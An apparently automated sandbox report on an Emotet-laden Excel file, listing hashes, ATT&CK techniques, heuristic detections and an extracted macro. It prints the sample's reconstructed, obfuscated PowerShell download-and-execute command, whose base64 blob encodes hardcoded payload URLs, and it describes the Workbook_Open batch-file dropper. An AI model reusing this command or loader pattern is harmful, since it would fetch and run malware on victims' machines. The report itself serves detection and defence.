Emotet Office (OLE) / .XLSX malware analysis — malicious · f99c04f9a4a30732

MALICIOUS

Office (OLE) / .XLSX

150.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: 86ca149c1f87c685a94668b3ca46bccb SHA-1: c9864d59fa91f964de457c9e9a44157417da4dca SHA-256: f99c04f9a4a30732ed705580167dc551cea8fddf3a58107f1ad458c80053ab28

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that trigger on Workbook_Open, indicative of Emotet activity. The script attempts to create and execute a batch file located at 'c:\programdata\jledshf.bat'. This batch file, in turn, uses PowerShell to download and execute a payload from a list of hardcoded URLs. The presence of 'Wscript.Shell' and 'CreateObject' calls further supports the malicious intent of executing external commands and downloading payloads. The reconstructed PowerShell command is: powershell -e DGsg4e6ysxdfhzxdfggDHdrthdrx dhDthDghDRtgsd45ydxfh&SET YUderhdD3=wers&echo dgbkw4tdgfTGHJ5rs6dt hse547thxDFXHtgjfxdtrgdfhxdfgf&SET VvdsFHd4=hell -e&echo Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34&SET HJtre4edtgf=nc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAG8AcAB5AGwAaQB2AGUALgBjAG8AbQAuAGIAcgAvAHIAagB1AHoALwB3AC8ALABoAHQAdABwAHMAOgAvAC8AdAByAGEAcwBpAHgALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHkANQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBi

Heuristics 7

ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `006c4f4d54d1c9bb906763adb0bd849cdbbe9d88f3fa78ad2d18ef6987f96c37`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	8906 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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